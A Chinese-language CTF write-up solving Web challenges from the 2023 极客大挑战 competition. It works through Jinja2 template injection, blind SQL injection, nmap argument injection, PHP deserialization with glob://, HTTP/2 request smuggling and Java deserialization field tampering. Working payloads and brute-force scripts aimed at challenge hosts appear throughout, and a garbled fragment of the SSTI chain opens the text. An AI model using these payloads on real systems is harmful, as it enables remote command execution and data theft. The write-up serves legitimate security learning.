{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(3),chhr(4))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(3),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(3),dict(ap=a,p=a)|join,chhr(4),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(4),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

极客大挑战2023 Web方向题解wp 全_第126张图片

源码如下:

from flask import Flask, request, render_template, render_template_string,send_from_directory
import re
import os

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():
    klf = request.args.get('klf', '')
    template = f'''
       
           
               

别找了,这次你肯定是klf

g

%s

'''
bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr', 'request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/', 'flashed', 'os', 'open', 'read', 'count', '*', '38', '124', '47', '59', '99', '100', 'cat', '~', ':', 'not', '0', '-', 'ord', '37', '94', '96', '[',']','index','length']#'43', '45', for i in bl: if i in klf: return render_template('klf.html') a = render_template_string(template % klf) if "{" in a: return a + render_template('win.html') return a @app.route('/robots.txt', methods=['GET']) def robots(): return send_from_directory(os.path.join(app.root_path, 'static'), 'robots.txt', mimetype='text/plain') if __name__ == '__main__': app.run(host='0.0.0.0', port=7889, debug=False)

ez_sql【】

开局是一个输入框,需要我们输入id:

极客大挑战2023 Web方向题解wp 全_第127张图片

输入后回显:
极客大挑战2023 Web方向题解wp 全_第128张图片

简单测测:【闭合是单引号】,猜测报错会输出你搁这儿干嘛啊???

id=1    正常
id=1'   回显你搁这儿干嘛啊???
id=1''    正常
id=1'''   回显你搁这儿干嘛啊???
id=1''''    正常
id=1'''''   回显你搁这儿干嘛啊???
id=1''''''    正常
id=1'''''''   回显你搁这儿干嘛啊???

闭合用and '1' = '1结尾

id=aaa'/**/||/**/'a'/**/like/**/'a     成功回显了id=1的内容
id=aaa'/**/||/**/'a'/**/like/**/'b     回显 别翻啦!这么多心灵鸡汤都du不了你吗

重点来了,id=aaa'/**/||/**/'a'/**/like/**/'a 成功回显了id=1的内容,为什么不是回显id=aaa的内容呢?说明这个式子在后端会被处理成逻辑值1,而不是aaa

这说明了什么,后端的语句大体是select * from table where id=('xxx')

那就是以')闭合,验证payload:id=4')#aaaa

极客大挑战2023 Web方向题解wp 全_第129张图片

有waf,我们拿burp打一波fuzz,过滤如下:

极客大挑战2023 Web方向题解wp 全_第130张图片


过滤字符替换如下:

被过滤字符 替代字符
空格 /**/
or ||
= like
database() schema()
information_schema 【传送门1】

奇怪的是联合查询判断不出回显位。。。

payload形如:id=1')/**/union/**/select/**/1,2,3#

没办法,只能用盲注了。

我们正常布尔盲注的payload是:'1\') and if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)或者"-1\" or 0^" + "(ascii(substr((SeleCt grOUp_conCAt(schema_name) fROm information_schema.schemata),{0},1))>{1})-- ".format(i, mid),思想都是获取我们需要的数据(无回显),截取其中的一个字符,通过爆破和比较得到截取的字符是什么。

information_schema肯定是用不了了,database()被禁用了我们用schema()替换,一样的效果。

极客大挑战2023 Web方向题解wp 全_第131张图片

asciiord等函数也被禁用了,我们可以不用ASCII码,直接拿字符比较。

极客大挑战2023 Web方向题解wp 全_第132张图片

poyload形如:1') and (select (select schema() limit 1,1) like binary '【字符】%')#

BINARY 是一个在 MySQL 中用于进行二进制比较的关键字。在这个上下文中,它将作用于 LIKE 操作符,用于指示对比过程中区分大小写。

得到初步脚本,可以盲注出当前数据库名字是articles

import requests

payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:1111/index.php"


#dict是爆破的字典,去掉了%_
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"

result = ''
while True:
    data = ''
    for i in range(len(dict)):
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
        response = requests.post(url=url, data=data)
        if 'Persistence' in response.text:
            result += dict[int(i)]
            print(result)
            break

        if dict[int(i)] == '\x00':  #%00作为结束符号
            print('盲注结束,结果是:'+result)
            exit(0)

极客大挑战2023 Web方向题解wp 全_第133张图片

传送门1

但是articles显然不是存放flag的数据库,还是绕不过information_schema,我们找找替换。

还记得当年钱塘江畔的无列名注入吗,当时我的笔记是这样的:

  • InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

  • sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

这么说来,数据库中初始的,存储数据库名字的表不止一个哦~

细细翻翻本地数据库中sys库下的表。

极客大挑战2023 Web方向题解wp 全_第134张图片

sys库下的表但凡是schema_打头的基本上都存了所有数据库名字!!!

极客大挑战2023 Web方向题解wp 全_第135张图片

我们以sys.schema_auto_increment_columns这张表为例,嘶,没注出结果,换一张,schema_table_statistics,这个有结果了,而且这张表里面也存储了对应数据库的所有表名。

极客大挑战2023 Web方向题解wp 全_第136张图片

获取数据库名脚本(改一下limit可以看同一列另外的数据哦)

import requests

#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 1,1) like binary \'{}%\')#'

url = "http://47.108.56.168:1111/index.php"


#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"


result = ''
while True:
    data = ''
    for i in range(len(dict)):
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
        response = requests.post(url=url, data=data)

        if 'Persistence' in response.text:
            result += dict[int(i)]
            print(result)
            break

        if dict[int(i)] == '\x00':  #%00作为结束符号
            print('盲注结束,结果是:'+result)
            exit(0)

得到库ctf

极客大挑战2023 Web方向题解wp 全_第137张图片

简单修改payload,得到表flll444aaggg9,应该是ctf里面的,不确定的情况下可以回到上一个payload看看,limit n,1,两个payload中n相等那就是库和表对应。

image-20231118021109900

最后payload得到flag:

payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 2,1) like binary \'{}%\')#'

极客大挑战2023 Web方向题解wp 全_第138张图片


关于联合注入注不出字段位的问题。出题人说:

手注确实应该注不出来,好像五十多还是六十多字段

可以通过groupby判断

我本意是过滤了or然后用groupby去判断字段数,但是看师傅们都跳过了这个步骤

hhhhhhhhh

klf_3

题目描述:好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf

开题:

极客大挑战2023 Web方向题解wp 全_第139张图片

信息搜集,路由/secr3ttt

极客大挑战2023 Web方向题解wp 全_第140张图片

我klf_2的payload直接可以继续用,嘶,那应该是没收集到我的payload吧。

payload:

/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

极客大挑战2023 Web方向题解wp 全_第141张图片

scan_tool【】***

题目描述:nmap也太好用了!不是吧,你还不会用吗?

参考文章:

[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

直接过滤了<,无法写,只能带出文件了。同时还过滤了-iL-oN等参数。

这题应该也用了PHP中的escapeshellarg()函数,在asisctf-2023 hello中遇到过,会剔除不可见字符。这个特性可以用来绕过对-iL-oN等参数的过滤。

Nmap的相关参数选项:

利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件

payload如下:

ip=' -i%faL /flag -o%faN 1.txt '

极客大挑战2023 Web方向题解wp 全_第142张图片

Akane!

题目描述:最适合梅菲斯特的一题

开题直接给了源码,无利用点的反序列化。

极客大挑战2023 Web方向题解wp 全_第143张图片

无利用,解读一下代码。考点就是绕过__weakeup+glob://协议+爆破文件名。

glob:// — 查找匹配的文件路径模式
也可以说返回当前路径下所有文件的文件名

支持通配符如:
glob:///var/www/html/*.php

极客大挑战2023 Web方向题解wp 全_第144张图片

脚本如下:

import base64
import requests
import time

url = 'https://hg0vl3j25gw55p3ktv9oed5md.node.game.sycsec.com/?tuizi='
strrr=''
#glob:///var/www/html/The*长度25
count=26
while True:
	for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789_-+[{]};:\'",<>/`!@#$%^&()= .?\x00':
		payload = 'O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(count)+':"glob:///var/www/html/The' + strrr+i + '*";}s:19:" Hoshino Aquamarine";N;'
		res_url = url + base64.b64encode(payload.encode('utf-8')).decode('utf-8')
		resp = requests.get(url=res_url)
		print(payload)

		if 'Kurokawa Akane' in resp.text:
			strrr=strrr+i
			count=count+1
			print(strrr)
			break

		if i=='\x00':
			exit('结束')

image-20231127034815158

极客大挑战2023 Web方向题解wp 全_第145张图片

EZ_Smuggling【】

题目描述:这是一个简单的H2转H1的小网站,站长认为他很安全,没有人能在他的网站走私任何东西。

开题是一个登陆界面。

极客大挑战2023 Web方向题解wp 全_第146张图片

注册一个号登录一下。flag应该在秘密文章里面,只有admin可以访问。

极客大挑战2023 Web方向题解wp 全_第147张图片

其他有用的信息如下:

极客大挑战2023 Web方向题解wp 全_第148张图片

极客大挑战2023 Web方向题解wp 全_第149张图片

首先想到的就是Http2请求走私。这题是CL请求走私,缩写说明 CL=Content-Length TL=Transfer-Encoding。

参考文章:

学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)_请求夹带是什么_Eason_LYC的博客-CSDN博客

WEB安全-金手铐系列-HTTP/2高级请求夹带攻击–Advanced request smuggling-CSDN博客

在重发器选项中,关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override

极客大挑战2023 Web方向题解wp 全_第150张图片

最后一定要加一个空行。

极客大挑战2023 Web方向题解wp 全_第151张图片

最后的请求包:

POST / HTTP/2
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Content-Length: 17

x=Jay17xxxxxxxxx

关键就这几部分:

极客大挑战2023 Web方向题解wp 全_第152张图片

java【】

题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)

主要代码:

controller/home.java

package com.example.springwebdemo.controller;

import com.example.springwebdemo.redis;
import com.example.springwebdemo.input;
import com.example.springwebdemo.model.User;
import com.example.springwebdemo.output;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;

@Controller
public class home {

    @RequestMapping(value = "/",method = RequestMethod.GET)
    public String index(HttpSession session) throws IOException {
        return "home";
    }
    @RequestMapping(value = "/error",method = RequestMethod.GET)
    public String error(){
        return "error";
    }
    @RequestMapping(value = "/login",method = RequestMethod.POST)
    public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception {
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        if (username.equals("admin") && password.equals("123456")){
            session.setAttribute("user", username);
            if (redis.get(session.getId()+"admin") == null){
                User u = new User();
                u.name ="admin";
                u.sex = "男";
                u.age = 10;
                redis.save(session.getId()+"admin",marshalinfo(u));
            }
            return "redirect:admin";
        }else {
            session.setAttribute("user", "");
            redirectAttributes.addAttribute("msg","登录失败");
            return "redirect:error";
        }
    }

    @RequestMapping(value = "/admin",method = RequestMethod.GET)
    public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{
        Object user = session.getAttribute("user");
        if (user == null || user.toString().equals("")){
            redirectAttributes.addAttribute("msg","请先登录");
            return "redirect:error";
        }
        String name = user.toString();
        User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject();
        Path path = Paths.get(userinfo.secretFile);
        if (!path.startsWith("/tmp")){
            redirectAttributes.addAttribute("msg","secret must be under /tmp");
            return "redirect:error";
        }
        byte[] secret = Files.readAllBytes(path);
        model.addAttribute("user",userinfo);
        model.addAttribute("secret",new String(secret));
        return "admin";
    }
    @RequestMapping(value = "/marshalinfo",method = RequestMethod.POST)
    @ResponseBody
    public String marshalinfo(User u) throws Exception {
        u.secretFile ="/tmp/admin_secret";
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        output o = new output(out);
        o.writeObject(u);
        return Base64.getEncoder().encodeToString(out.toByteArray());
    }
    @RequestMapping(value = "/invoke",method = RequestMethod.POST)
    @ResponseBody
    public String save(HttpSession session,@RequestBody Map<String, String> info) throws Exception {
        Object user = session.getAttribute("user");
        if (user != null && !user.equals("")){
            String action = info.get("action");
            switch (action){
                case "update":
                    try{
                        String data = info.get("data");
                        User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject();
                        User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject();
                        oldInfo.name = newInfo.name;
                        oldInfo.sex = newInfo.sex;
                        oldInfo.age = newInfo.age;
                        oldInfo.hash = newInfo.hash;
                        ByteArrayOutputStream out = new ByteArrayOutputStream();
                        output o = new output(out);
                        o.writeObject(oldInfo);
                        redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray()));
                        return "更新成功 name、sex、age成功";
                    }catch (Exception e){
                        return "更新失败: "+e;
                    }
                default:
                    return "受支持action: " +action;
            }
        }else {
            return "请先登录";
        }
    }
}

model/User.java

package com.example.springwebdemo.model;

import org.springframework.util.StringUtils;

import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class User implements Serializable {

    public static String separator = "O.o";
    public String hash = "";
    public String name = "张三";
    public String sex = "男";
    public int age;
    public String secretFile ="/tmp/admin_secret";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getSex() {
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getSecretFile() {
        return secretFile;
    }

    public void setSecretFile(String secretFile) {
        this.secretFile = secretFile;
    }

    private void readObject(java.io.ObjectInputStream s)
            throws Exception{
        String data = (String) s.readObject();
        Field[] fields = this.getClass().getFields();
        if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){
            throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator));
        }
        String[] splits = data.split(User.separator);

        for (int i = 1; i < fields.length; i++) {
            if(fields[i].getType().getName().equals("int")){
                fields[i].set(this,Integer.parseInt(splits[i-1]));
            }else{
                fields[i].set(this,splits[i-1]);
            }
        }
        this.hash = (String) s.readObject();
        if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){
            throw new Exception("hash cont content O.o");
        }
    }
    private void writeObject(ObjectOutputStream os)
            throws Exception{
        Field[] fields = this.getClass().getFields();
        ArrayList<String> datas = new ArrayList<>();
        for (int i = 1; i < fields.length; i++) {
            if(fields[i].getType().getName().equals("int")){
                datas.add(String.valueOf(fields[i].get(this)));
            }else{
                datas.add(fields[i].get(this).toString());
            }
        }
        os.writeObject(String.join(User.separator,datas));
        os.writeObject(String.join("-",datas));
    }
}

看源码可以知道账号密码是admin123456

极客大挑战2023 Web方向题解wp 全_第153张图片

这题考察了java中String.split的特性,String.split()的参数是分隔符,分隔符遵循正则匹配。题目中的分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符。

我们可以在可改的数据中加入分隔符,从而改变无法改变的数据secretFile。我们不用自己序列化/反序列化,题目会自动序列化/反序列化的。

极客大挑战2023 Web方向题解wp 全_第154张图片

登录后,在名字那一栏输入111OxoJay17Oxo1Oxo19Oxo/tmp/flagOxo111,点击保存,secretFile属性就会被赋值成/tmp/flag。flag会自动显示在秘密框。

极客大挑战2023 Web方向题解wp 全_第155张图片

修改后。

极客大挑战2023 Web方向题解wp 全_第156张图片

你可能感兴趣的:(CTF赛事,CTF,Web安全,PHP,python,Java,代码审计)